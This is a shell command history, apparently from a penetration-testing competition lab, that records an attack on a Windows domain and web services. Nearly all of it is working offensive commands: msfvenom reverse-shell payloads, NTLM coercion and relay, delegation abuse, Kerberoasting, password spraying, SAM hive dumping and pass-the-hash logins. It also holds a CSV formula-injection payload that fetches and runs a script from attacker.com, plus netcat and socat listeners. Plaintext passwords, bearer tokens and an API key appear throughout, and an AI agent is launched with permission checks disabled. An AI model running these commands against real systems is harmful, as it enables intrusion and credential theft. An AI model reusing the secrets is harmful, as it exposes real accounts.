_raw: : 1768072668:0;impacket-GetUserSPNs ALLPORTS.LOCAL/SVC_STABILIZE -request -dc-ip 10.0.1.6 -outputfile stabilize_ticket.txt --help


_raw: : 1768072649:0;cat /tmp/claude/-home-pentester-scripts/tasks/b7e3356.output | grep +


_raw: : 1768072644:0;impacket-GetUserSPNs ALLPORTS.LOCAL/SVC_STABILIZE -request -dc-ip 10.0.1.6 -outputfile stabilize_ticket.txt -no-pass


_raw: : 1768072640:0;rpcclient -U "svc_stabilize%1gyroscope" 10.0.1.6 -c "querydispinfo"


_raw: : 1768072567:0;msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.0.254.203 LPORT=9000 -f dll -o mal_test.dll


_raw: : 1768072550:0;msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.0.254.204 LPORT=5555 -f elf > rev-4.elf


_raw: : 1768072543:0;mysql -h 10.0.1.99 -u "root" -p --skip-ssl-verify-server-cert


_raw: : 1768072533:0;mysql -h 10.0.1.99 -u "admin" -p --skip-ssl-verify-server-cert


_raw: : 1768072517:0;mysql -h 10.0.1.99 -u "captain" -p --skip-ssl-verify-server-cert


_raw: : 1768072503:0;mysql -h 10.0.1.99 -u "root" -p --skip-ssl-verify-server-cert


_raw:
: 1768072489:0;coercer coerce -l 10.0.254.202 -t 10.0.1.20 \\
      -u 'svc_stabilize' -p '1gyroscope' -d 'allports.local' \\
      --always-continue


_raw:
: 1768072474:0;ntlmrelayx.py -t ldap://10.0.1.6 --delegate-access \\
      --escalate-user 'FINALS02-TEST$' -smb2support\


_raw: : 1768072440:0;./kerbrute -t 1 -v -d 'ALLPORTS.LOCAL' -o account_enumeration/domain_account_spray_two.txt --dc 10.0.1.6 passwordspray BloodHound.py/usernames.txt @nchor2024


_raw: : 1768072438:0;msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.0.254.203 LPORT=5555 -f elf > rev-3.elf


_raw: : 1768072438:0;sudo apt install vscodium


_raw: : 1768072435:0;gobuster dir --url https://penny.ai/images/ --wordlist /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt --delay 50ms


_raw: : 1768072351:0;mysql -h 10.0.1.13 -u "admin" -p --skip-ssl-verify-server-cert


_raw: : 1768072344:0;mysql -h 10.0.1.99 -u "admin" -p --skip-ssl-verify-server-cert


_raw: : 1768072336:0;mysql -h 10.0.1.99 -u "user" -p --skip-ssl-verify-server-cert


_raw: : 1768072327:0;mysql -h 10.0.1.13 -u "user" -p --skip-ssl-verify-server-cert


_raw: : 1768072320:0;mysql -h 10.0.1.13 -u "skip" -p --skip-ssl-verify-server-cert


_raw:
: 1768072274:0;coercer coerce -l 10.0.254.202 -t 10.0.1.20 \\
      -u 'svc_stabilize' -p '1gyroscope' -d 'allports.local' \\
      --always-continue


_raw: : 1768072267:0;certipy req -u REDACTED_EMAIL -p '1gyroscope' -dc-ip 10.0.1.6 -ca 'allports-CA' -template 'User'


_raw: : 1768072253:0;python3 penelope.py --help


_raw: : 1768072227:0;curl -X POST http://10.0.1.13:8080/api/export_csv.php -H 'Content-Type: application/json' -d '{"data":[["=1+1","test"]],"columns":["A","B"],"filename":"poc.csv"}'


_raw:
: 1768072222:0;ntlmrelayx.py -t ldaps://10.0.1.6 \\
      --delegate-access \\
      --escalate-user 'FINALS02-TEST$' \\
      -smb2support\


_raw:
: 1768072198:0;curl -X POST http://10.0.1.13:8080/api/export_csv.php \\
    -H 'Content-Type: application/json' \\
    -d @/tmp/payload.json


_raw: : 1768072192:0;impacket-atexec allports.local/svc_stabilize:'1gyroscope'@10.0.1.6 'powershell -enc <base64_payload>'


_raw: : 1768072183:0;./kerbrute -t 1 -v -d 'ALLPORTS.LOCAL' -o account_enumeration/domain_account_spray_one.txt --dc 10.0.1.6 passwordspray BloodHound.py/usernames.txt Sails@way!


_raw: : 1768072169:0;impacket-atexec allports.local/svc_stabilize:'1gyroscope'@10.0.1.6 'whoami'


_raw: : 1768072162:0;./termshot -c -- nxc rdp apt-dc-01.allports.local


_raw: : 1768072114:0;python3 impacket-atexec.py allports.local/svc_stabilize:'1gyroscope'@10.0.1.6 'whoami'


_raw:
: 1768072112:0;curl -X POST http://10.0.1.13:8080/api/export_csv.php \\
    -H 'Content-Type: application/json' \\
    -d '{"data":[["=cmd|'"'"'/c calc'"'"'!A1","test"]],"columns":["Evil","Data"],"filename":"hack.csv"}'


_raw: : 1768072107:0;sudo nano /etc/resolv.conf


_raw: : 1768072104:0;impacket-atexec.py allports.local/svc_stabilize:'1gyroscope'@10.0.1.6 'whoami'


_raw: : 1768072085:0;cat api_code | base64 -d > api_source


_raw: : 1768072020:0;python3 atexec-pro.py allports.local/svc_stabilize:'1gyroscope'@10.0.1.6 'whoami'


_raw: : 1768072019:0;termshot -scf out.png -C101 -- "nxc ldap apt-dc-01.allports.local -u pentester -p ')u1h55hm-h(M(7nV' -M maq"


_raw: : 1768071999:0;termshot -scf out.png -C88 -- "nxc ldap apt-dc-01.allports.local -u pentester -p ')u1h55hm-h(M(7nV' -M maq"


_raw: : 1768071986:0;termshot -scf out.png -C60 -- "nxc ldap apt-dc-01.allports.local -u pentester -p ')u1h55hm-h(M(7nV' -M maq"


_raw: : 1768071969:0;git clone https://github.com/Ridter/atexec-pro


_raw:
: 1768071967:0;cat > /tmp/csv_rce_payload.json << 'EOF'\
  {\
    "data": [\
      ["=cmd|'/c calc'!A1", "Opens Calculator on Windows"],\
      ["=cmd|'/c powershell IEX(New-Object Net.WebClient).DownloadString(\"http://attacker.com/payload\")'!A1", "Downloads and executes remote script"],\
      ["@SUM(1+1)", "Simple formula injection"],\
      ["+2+3+cmd|' /c notepad'!A1", "Alternative syntax - Opens Notepad"]\
    ],\
    "columns": ["Malicious Formula", "Description"],\
    "filename": "malicious_navigation_report.csv"\
  }\
  EOF


_raw: : 1768071962:0;msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.0.254.201 LPORT=5555 -f elf > rev-3.elf


_raw: : 1768071949:0;msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.0.254.201 LPORT=5555 -f elf > rev-1.elf


_raw: : 1768071925:0;rbcd.py -dc-ip 10.0.1.6 -t ad-dc-01 -f FINALS02-test allports.tours/svc_stabilize


_raw:
: 1768071913:0;curl -X POST "http://10.0.1.11:3000/api/files/images" \\
  -H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjY5NjE1M2NjZWYwZTk4Mjc2ODk1NWJmZSIsInNlc3Npb25JZCI6IjY5NjE1NDA3ZWYwZTk4Mjc2ODk1NWM1NiIsImlhdCI6MTc2ODA3MTkwMCwiZXhwIjoxNzY4NTkwOTgzfQ.uiuQ-SDXnE3Ez041sDSe6Zz-yzZ4g6BMxooTb7v4FK4" \\
  -F "file=@test.png"


_raw: : 1768071901:0;python3 reg.py allports.local/svc_stabilize:'1gyroscope'@10.0.1.6 backup -o '\\10.0.1.6\C$\Windows\System32\config\SAM'


_raw:
: 1768071884:0;curl -X POST "http://10.0.1.11:3000/api/files/images" \\
  -H "Authorization: Bearer <your_jwt>" \\
  -F "file=@test.png"


_raw: : 1768071866:0;git clone https://github.com/ljduarte/REG.py


_raw: : 1768071844:0;python3 reg.py allports.local/svc_stabilize:'1gyroscope'@10.0.1.6 backup -o '\\10.0.1.6\C$\Windows\System32\config\SAM'


_raw:
: 1768071838:0;mysql -h 10.0.1.99 -u root --skip-ssl << 'EOF'\
SHOW DATABASES;\
EOF


_raw:
: 1768071838:0;curl 'http://10.0.1.11/api/files' \\
  -X DELETE \\
  -H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0' \\
  -H 'Accept: application/json, text/plain, */*' \\
  -H 'Accept-Language: en-US,en;q=0.5' \\
  -H 'Accept-Encoding: gzip, deflate' \\
  -H 'Content-Type: application/json' \\
  -H 'Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjY5NjE1NGRiZDEyMDQ5ZGNjOGI3ZTQyYyIsInVzZXJuYW1lIjoicGVudGVzdGVyIiwicHJvdmlkZXIiOiJsZGFwIiwiZW1haWwiOiJwZW50ZXN0ZXJAbGRhcC5sb2NhbCIsImlhdCI6MTc2ODA3MTczNywiZXhwIjoxNzY4MDcyNjM3fQ.scOPlE2nK-Epr50HdFNwK6jzPKFqRLoM_wPLVjBR03k' \\
  -H 'Content-Length: 214' \\
  -H 'Origin: http://10.0.1.11' \\
  -H 'Connection: keep-alive' \\
  -H 'Referer: http://10.0.1.11/c/new' -v


_raw:
: 1768071836:0;curl 'http://10.0.1.11/api/files' \\
  -X DELETE \\
  -H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0' \\
  -H 'Accept: application/json, text/plain, */*' \\
  -H 'Accept-Language: en-US,en;q=0.5' \\
  -H 'Accept-Encoding: gzip, deflate' \\
  -H 'Content-Type: application/json' \\
  -H 'Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjY5NjE1NGRiZDEyMDQ5ZGNjOGI3ZTQyYyIsInVzZXJuYW1lIjoicGVudGVzdGVyIiwicHJvdmlkZXIiOiJsZGFwIiwiZW1haWwiOiJwZW50ZXN0ZXJAbGRhcC5sb2NhbCIsImlhdCI6MTc2ODA3MTczNywiZXhwIjoxNzY4MDcyNjM3fQ.scOPlE2nK-Epr50HdFNwK6jzPKFqRLoM_wPLVjBR03k' \\
  -H 'Content-Length: 214' \\
  -H 'Origin: http://10.0.1.11' \\
  -H 'Connection: keep-alive' \\
  -H 'Referer: http://10.0.1.11/c/new'


_raw: : 1768071831:0;reg.py allports.local/svc_stabilize:'1gyroscope'@10.0.1.6 backup -o '\\10.0.1.6\C$\Windows\System32\config\SAM'


_raw:
: 1768071811:0;# Connect with SSL disabled\
mysql -h 10.0.1.99 -u root --skip-ssl << 'EOF'\
SHOW DATABASES;\
EOF\
\
# Or use ssl-mode=DISABLED\
mysql -h 10.0.1.99 -u root --ssl-mode=DISABLED << 'EOF'\
SHOW DATABASES;\
\
SELECT SCHEMA_NAME\
FROM information_schema.SCHEMATA\
WHERE SCHEMA_NAME NOT IN ('information_schema','performance_schema','mysql','sys');\
\
SELECT\
    TABLE_SCHEMA,\
    TABLE_NAME,\
    TABLE_ROWS\
FROM information_schema.TABLES\
WHERE TABLE_NAME REGEXP 'user|password|credential|auth|key|token'\
  AND TABLE_SCHEMA NOT IN ('information_schema','performance_schema','mysql','sys')\
ORDER BY TABLE_ROWS DESC;\
EOF


_raw: : 1768071808:0;addcomputer.py -computer-name FINALS02-test -computer-pass 'F1n@L$02-Jana' -dc-ip 10.0.1.6 allports.local/svc_stabilize


_raw: : 1768071802:0;cp ~/Downloads/nodes.csv .


_raw:
: 1768071789:0;curl -X POST http://10.0.1.13:8080/api/navigation.php?action=update_position \\
    -d '{}'


_raw: : 1768071778:0;nxc winrm 10.0.1.0/24 -u SVC_STABILIZE -p '1gyroscope'


_raw:
: 1768071778:0;curl 'http://10.0.1.11/api/files' \\
  -X DELETE \\
  -H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0' \\
  -H 'Accept: application/json, text/plain, */*' \\
  -H 'Accept-Language: en-US,en;q=0.5' \\
  -H 'Accept-Encoding: gzip, deflate' \\
  -H 'Content-Type: application/json' \\
  -H 'Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjY5NjE1NGRiZDEyMDQ5ZGNjOGI3ZTQyYyIsInVzZXJuYW1lIjoicGVudGVzdGVyIiwicHJvdmlkZXIiOiJsZGFwIiwiZW1haWwiOiJwZW50ZXN0ZXJAbGRhcC5sb2NhbCIsImlhdCI6MTc2ODA3MTczNywiZXhwIjoxNzY4MDcyNjM3fQ.scOPlE2nK-Epr50HdFNwK6jzPKFqRLoM_wPLVjBR03k' \\
  -H 'Content-Length: 214' \\
  -H 'Origin: http://10.0.1.11' \\
  -H 'Connection: keep-alive' \\
  -H 'Referer: http://10.0.1.11/c/new'


_raw: : 1768071766:0;xfreerdp3 /v:10.0.1.20 /u:administrator /pth:a4fa38e8e61d094ab455cecda06105d3 /dynamic-resolution


_raw:
: 1768071765:0;curl -X POST http://10.0.1.13:8080/api/export_csv.php \\
    -H 'Content-Type: application/json' \\
    -d @/tmp/payload.json


_raw:
: 1768071737:0;cat > /tmp/payload.json << 'EOF'\
  {\
    "data": [["=cmd|'/c calc'!A1", "RCE payload"]],\
    "columns": ["Evil", "Formula"],\
    "filename": "pwned.csv"\
  }\
  EOF\
ls


_raw:
: 1768071733:0;# Connect and explore\
mysql -h 10.0.1.99 -u root << 'EOF'\
-- Show all databases\
SHOW DATABASES;\
\
-- Look for application databases\
SELECT SCHEMA_NAME \
FROM information_schema.SCHEMATA \
WHERE SCHEMA_NAME NOT IN ('information_schema','performance_schema','mysql','sys');\
\
-- Search for sensitive tables\
SELECT \
    TABLE_SCHEMA,\
    TABLE_NAME,\
    TABLE_ROWS\
FROM information_schema.TABLES\
WHERE TABLE_NAME REGEXP 'user|password|credential|auth|key|token'\
  AND TABLE_SCHEMA NOT IN ('information_schema','performance_schema','mysql','sys')\
ORDER BY TABLE_ROWS DESC;\
EOF


_raw: : 1768071732:0;ssh -i /home/pentester/Downloads/id_ed25519 -o StrictHostKeyChecking=no root@10.0.1.99


_raw: : 1768071730:0;addcomputer.py -computer-name FINALS02-test -computer-pass 'F1n@L$02-Jana' -dc-ip 10.0.1.6 allports.tours/svc_stabilize


_raw: : 1768071719:0;.venv/bin/pip install -r requirements.txt


_raw:
: 1768071717:0;cat > /tmp/payload.json << 'EOF'\
  {\
    "data": [["=cmd|'/c calc'!A1", "RCE payload"]],\
    "columns": ["Evil", "Formula"],\
    "filename": "pwned.csv"\
  }\
  EOF\
\
  curl -X POST http://10.0.1.13:8080/api/export_csv.php \\
    -H 'Content-Type: application/json' \\
    -d @/tmp/payload.json\
s\
ls\
?\
ls\
help\
!help


_raw: : 1768071701:0;./bin/pip install -r requirements.txt


_raw: : 1768071685:0;addcomputer.py -computer-name FINALS02-test -computer-pass 'F1n@L$02-Jana' -dc-ip 10.0.1.6 allports.tours/svc_stabilize


_raw:
curl -fsSL https://claude.ai/install.sh | bash
claude
export ANTHROPIC_API_KEY="sk-cptc-team6-key4-6f1a57be-dac3-4594-908d-6504eae67b29"
claude
claude -h
claude
echo 'export ANTHROPIC_BASE_URL="https://ai.cyberrange.rit.edu"' >> ~/.bashrc
echo 'export ANTHROPIC_AUTH_TOKEN="	\
sk-cptc-team6-key4-6f1a57be-dac3-4594-908d-6504eae67b29"' >> ~/.bashrc
source ~/.bashrc
clear
sudo nano ~/.bashrc
source ~/.bashrc
clear
source ~/.bashrc
nano ~/.bashrc
sudo systemctl start ssh
ll
cd participant_env/verbose-log/logs
ll
exit
ip addr
git clone https://github.com/nationalcptc-teamtools/Stanford-university.git
ls
cat password.txt
nxc smb 10.0.1.0/24 -u '' -p ''
nxc smb 10.0.1.0/24 -u '' -p '' -M coerce_plus
export TARGET=10.0.1.6
rpcdump.py $TARGET | grep -A 6 "spoolsv"
impacket-rpcdump $TARGET | grep -A 6 "spoolsv"
uv run Downloads/printerbug.py
uv run Downloads/printerbug.py ''@10.0.1.6 10.0.254.204
sudo impacket-ntlmrelayx -smb2support -t ldaps://10.0.1.6 --delegate-access --remove-mic
sudo impacket-ntlmrelayx -smb2support -t ldap://10.0.1.6 --delegate-access --remove-mic
nxc
nxc smb 10.0.1.0/24
nxc ldap 10.0.1.0/24
nmap 10.0.1.6 -v
certipy
certipy-ad
certipy-ad find -u '' -p '' -dc-ip 10.0.1.6 -enabled
nxc smb 10.0.1.6 -M coerce_plus -u '' -p ''
nxc smb 10.0.1.202 -u 'user.one' -p 'Password1!' -M remove-mic
nxc smb 10.0.1.6 -u 'user.one' -p 'Password1!' -M remove-mic
petitpotam.py
cd Downloads
ls
python3 PetitPotam.py -u 'user.one' -p 'Password1!' -d 'insecure.local' 10.0.1.6 10.0.254.204
python3 PetitPotam.py -u '' -p '' 10.0.254.204 10.0.1.6
git clone https://github.com/p0dalirius/Coercer.git
cd Coercer
ls
python3 Coercer.py
curl -LsSf https://astral.sh/uv/install.sh | sh
uv
;s
l
ls
uv venv
uv run Coercer.py
uv run Coercer.py coerce
uv run Coercer.py coerce -t 10.0.1.6 -l 10.0.254.204
s
uv run Coercer.py coerce -t 10.0.1.6 -l 10.0.254.204
uv run Coercer.py coerce -t 10.0.1.6 -l 10.0.254.204 --always-continue
source ~/.zshrc
nxc smb 10.0.1.0/24 --generate-hosts-file
nxc smb 10.0.1.0/24 --generate-hosts-file ~/hosts-file.txt
netexec smb 10.0.1.6 --generate-krb5-file ~/krb5.conf
export KRB5_CONFIG=~/krb5.conf
nxc smb 10.0.1.6 -u '' -p '' -M zerologon
nxc smb 10.0.1.6 -u '' -p '' -M nopac
nxc smb 10.0.1.6 -u '' -p '' -M printnightmare
nxc smb 10.0.1.0/24 -M smbghost
nxc smb 10.0.1.0/24 -M ntlm_reflection
nxc smb 10.0.1.0/24 -M ntlm_reflection -u '' -p ''
nxc smb 10.0.1.6 -u '' -p ''
nxc smb 10.0.1.6 -u '' -p '' -M ntlm_reflection
nxc smb 10.0.1.6 -u '' -p '' -M coerce_plus -o 10.0.254.204
nxc smb 10.0.1.6 -u '' -p '' -M coerce_plus -o LISTENER=10.0.254.204
nxc smb 10.0.1.6 -u '' -p '' -M coerce_plus -o LISTENER=10.0.254.204 ALWAYS=true
nxc smb 10.10.10.161 -u '' -p ''\
nxc smb 10.10.10.161 -u '' -p '' --shares\
nxc smb 10.10.10.161 -u '' -p '' --pass-pol\
nxc smb 10.10.10.161 -u '' -p '' --users\
nxc smb 10.10.10.161 -u '' -p '' --groups
nxc smb 10.0.1.6 -u '' -p ''\
nxc smb 10.0.1.6 -u '' -p '' --shares\
nxc smb 10.0.1.6 -u '' -p '' --pass-pol\
nxc smb 10.0.1.6 -u '' -p '' --users\
nxc smb 10.0.1.6 -u '' -p '' --groups
nxc smb 10.0.1.6 -u 'a' -p ''\
nxc smb 10.0.1.6 -u 'a' -p '' --shares\
nxc smb 10.0.1.6 -u 'a' -p '' --pass-pol\
nxc smb 10.0.1.6 -u 'a' -p '' --users\
nxc smb 10.0.1.6 -u 'a' -p '' --groups
nxc smb 10.0.1.6 -u 'a' -p '' -M coerce_plus -o LISTENER=10.0.254.204
nxc smb 10.0.1.0/24 --gen-relay-list relay_list.txt
nxc smb 192.168.1.0/24 -u a -p '' --rid-brute
nxc ldap 10.0.1.6 -u harry -p pass --kerberoasting output.txt
nxc ldap 10.0.1.6 -u 'guest' -p '' --kerberoasting output.txt
nc 10.0.1.0:9000
nc 10.0.1.0 9000
nc 10.0.1.10 9000
c;ear
clear
smbmap -u '' -p '' -P 445 -H 10.0.1.6
smbmap -u 'guest' -p '' -P 445 -H 10.0.1.6
nmap -n -sV --script "ldap* and not brute" -p 389 10.0.1.6
nxc smb 10.0.1.0/24 -M smbghost
rip addr
ip addr
for port in 8080 8081 8090 8091; do\
    echo "=== 10.0.1.13:$port ==="\
    curl -s "http://10.0.1.13:$port/.git/config"\
    curl -s "http://10.0.1.13:$port/robots.txt"\
    curl -s "http://10.0.1.13:$port/.env"\
    curl -s "http://10.0.1.13:$port/config.php.bak"\
    curl -s "http://10.0.1.13:$port/web.config"\
  done
nxc smb 10.0.1.0/24 -u Downloads/usernames.txt -p @nchor2024
nxc smb 10.0.1.0/24 -u Downloads/usernames.txt -p letmein
nc 10.0.1.10 9000
nxc smb 10.0.1.0/24 -u Downloads/usernames.txt -p Sails@way!
nxc smb 10.0.1.0/24 -u Downloads/usernames.txt -p 'Sails@way!'
nxc smb 10.0.1.0/24 -u lvega -p 'Sails@way!'
nxc smb 10.0.1.0/24 -u lvega -p 'letmein'
nxc smb 10.0.1.0/24 -u lvega -p '@nchor24'
nxc smb 10.0.1.0/24 -u username -p 'Sails@way!'
nxc smb 10.0.1.0/24 -u captain-p 'Sails@way!'
nxc smb 10.0.1.0/24 -u captain -p 'Sails@way!'
nxc smb 10.0.1.0/24 -u administrator -p 'Sails@way!'
nxc smb 10.0.1.0/24 -u administrator -p 'Sails@way!' --local-auth
nano emails.txt
nxc smb 10.0.1.0/24 -u emails.txt -p 'Sails@way!' --local-auth
nxc smb 10.0.1.0/24 -u emails.txt -p 'Sails@way!'
nxc ssh 10.0.1.0/24 -u emails.txt -p 'Sails@way!'
nano emails.txt
cat Downloads/usernames.txt
nano emails.txt
cat emails.txt
nxc ssh 10.0.1.0/24 -u emails.txt -p 'Sails@way!'
nxc ssh 10.0.1.0/24 -u guest -p 'Sails@way!'
nxc ssmb 10.0.1.0/24 -u guest -p 'Sails@way!'
nxc smb 10.0.1.0/24 -u guest -p 'Sails@way!'
nxc
nmap -sVC -p- -v 10.0.1.10
nmap -sVC -p- -v 10.0.1.20
git clone REDACTED_EMAIL:nationalcptc-teamtools/cptc11-compliance-pod3.git
git clone https://github.com/nationalcptc-teamtools/cptc11-compliance-pod3.git
ssh-keygen
cat /home/pentester/.ssh/id_ed25519.pub
echo "# cptc11-compliance-pod3" >> README.md\
git init\
git add README.md\
git commit -m "first commit"\
git branch -M main\
git remote add origin https://github.com/nationalcptc-teamtools/cptc11-compliance-pod3.git\
git push -u origin main
nxc smb 10.0.1.0/24 -u guest -p 'password1'
nxc smb 10.0.1.0/24 -u emails.txt -p 'password1'
nxc smb 10.0.1.0/24 -u emails.txt -p 'password123'
git clone https://github.com/nationalcptc-teamtools/cptc11-compliance-pod3.git
git clone REDACTED_EMAIL:nationalcptc-teamtools/cptc11-compliance-pod3.git
cd cptc11-compliance-pod3
claude
burp
burpsuite
ssh root@10.0.1.99 -i Downloads/id_ed25519
python3 ballast_login_test.py -u ../emails.txt -p 'letmein'
cd ..
python3 ballast.py -u emails.txt -p 'letmein'
python3 ballast.py -u emails.txt -p '@nchor2025'
python3 ballast.py -u emails.txt -p '@nchor2026'
nxc smb 10.0.1.0/24 -u emails.txt -p '@nchor2025'
python3 ballast.py -u emails.txt -p 'Sails@way!'
python3 ballast.py -u emails.txt -p 'Sails@way!2024'
python3 ballast.py -u emails.txt -p 'IamTheCaptain'
python3 ballast.py -u emails.txt -p 'IamtheCaptain'
python3 ballast.py -u emails.txt -p 'IamTheCaptain2024'
remmina
cat password
cat passwords.txt
cat password.txt
remmina
nano ~/.zshrc
source ~/.zshrc
claude --dangerously-skip-permissions
export ANTHROPIC_BASE_URL="https://ai.cyberrange.rit.edu
export ANTHROPIC_BASE_URL="https://ai.cyberrange.rit.edu"
export ANTHROPIC_AUTH_TOKEN="sk-cptc-team6-key4-6f1a57be-dac3-4594-908d-6504eae67b29"
claude
cd cptc11-compliance-pod3
ls
claude
claude --dangerously-skip-permissions
mv ballast_login_test.py ../ballast.py
cd ..
claude --dangerously-skip-permissions
nc 10.0.1.10 9000
nc -nvlp 1234
socat file:`tty`,raw,echo=0 tcp-listen:4444


_raw: : 1768071647:0;./termshot -c -- nxc rdp apt-dc-01.allports.local


_raw: : 1768071606:0;nxc ldap 10.0.1.6 -u users.txt -p '' --asreproast roasted.txt


_raw: : 1768071599:0;pip install -r requirements.txt


_raw: : 1768071598:0;cat findings.txt| grep Key -A 10


_raw: : 1768071588:0;curl -k https://chat.allports.tours/user/10


_raw: : 1768071586:0;cat findings.txt| grep Key -A 1


_raw: : 1768071585:0;curl -k https://chat.allports.tours/user/1


_raw: : 1768071579:0;./termshot -c -- nxc ldap apt-dc-01.allports.local -u '' -p '' --computers


_raw: : 1768071574:0;termshot -scf out.png -C55 -- "bloodyAD -u 'pentester' -p ')u1h55hm-h(M(7nV' -d allports.local --host 10.0.1.6 get search --base 'CN=Configuration,DC=allports,DC=local' --filter '(cn=Directory Service)' --attr dSHeuristics"


_raw: : 1768071571:0;cat findings.txt| grep Key


_raw: : 1768071570:0;pip install -r requirements.txt


_raw: : 1768071568:0;cat findings.txt| grep key


_raw: : 1768071566:0;certipy find -u REDACTED_EMAIL -p 1gyroscope -dc-ip 10.0.1.6 -ldap-scheme ldap


_raw: : 1768071560:0;./termshot -c -- nxc ldap apt-dc-01.allports.local -u '' -p '' --groups


_raw: : 1768071560:0;git clone https://github.com/IppSec/evil-cups.git


_raw: : 1768071536:0;./termshot -c -- nxc ldap apt-dc-01.allports.local -u '' -p '' --users


_raw: : 1768071522:0;ldapsearch -x -H ldap://10.0.1.6 -D "REDACTED_EMAIL" -w '1gyroscope' -b "DC=allports,DC=local" "(sAMAccountName=svc_stabilize)" "*" "+"


_raw: : 1768071522:0;nxc ldap 10.0.1.6 -u 'svc_stabilize' -p '1gyroscope' -k


_raw: : 1768071475:0;certipy find -u REDACTED_EMAIL -p 1gyroscope -dc-ip 10.0.1.6 -ldap-scheme ldap


_raw: : 1768071454:0;certipy find -u REDACTED_EMAIL -p 1gyroscope -dc-ip 10.0.1.6 -ldap-scheme ldap


_raw: : 1768071452:0;sudo ./bloodhound-cli install


_raw: : 1768071417:0;python3 bloodhound.py -d allports.local -u pentester -p ')u1h55hm-h(M(7nV'  --zip -ns 10.0.1.6 -dc apt-dc-01.allports.local -c All


_raw: : 1768071406:0;python3 bloodhound.py -d allports.local -u svc_stabilize -p ')u1h55hm-h(M(7nV'  --zip -ns 10.0.1.6 -dc apt-dc-01.allports.local -c All


_raw: : 1768071393:0;nxc smb 10.0.1.0/24 -u SVC_STABILIZE -p '1gyroscope' --users-export output.txt


_raw: : 1768071391:0;./termshot -c -- nxc ldap apt-dc-01.allports.local -u '' -p '' --users --groups --computers


_raw: : 1768071380:0;cat findings.txt| grep 99


_raw: : 1768071372:0;./termshot -- nxc ldap apt-dc-01.allports.local -u '' -p '' --users --groups --computers


_raw: : 1768071353:0;sudo ip tuntap add user $(whoami) mode tun ligolo


_raw: : 1768071352:0;python3 bloodhound.py -d allports.local -u svc_stabilize -p gyroscope --zip -ns 10.0.1.6 -dc apt-dc-01.allports.local -c All


_raw: : 1768071350:2;nxc smb 10.0.1.6 -u svc_stabilize -p '1gyroscope' -M spider_plus --share NETLOGON


_raw: : 1768071348:0;nxc smb 10.0.1.0/24 -u SVC_STABILIZE -p '1gyroscope' --shares


_raw: : 1768071345:0;chmod +x mysql_exploit.sh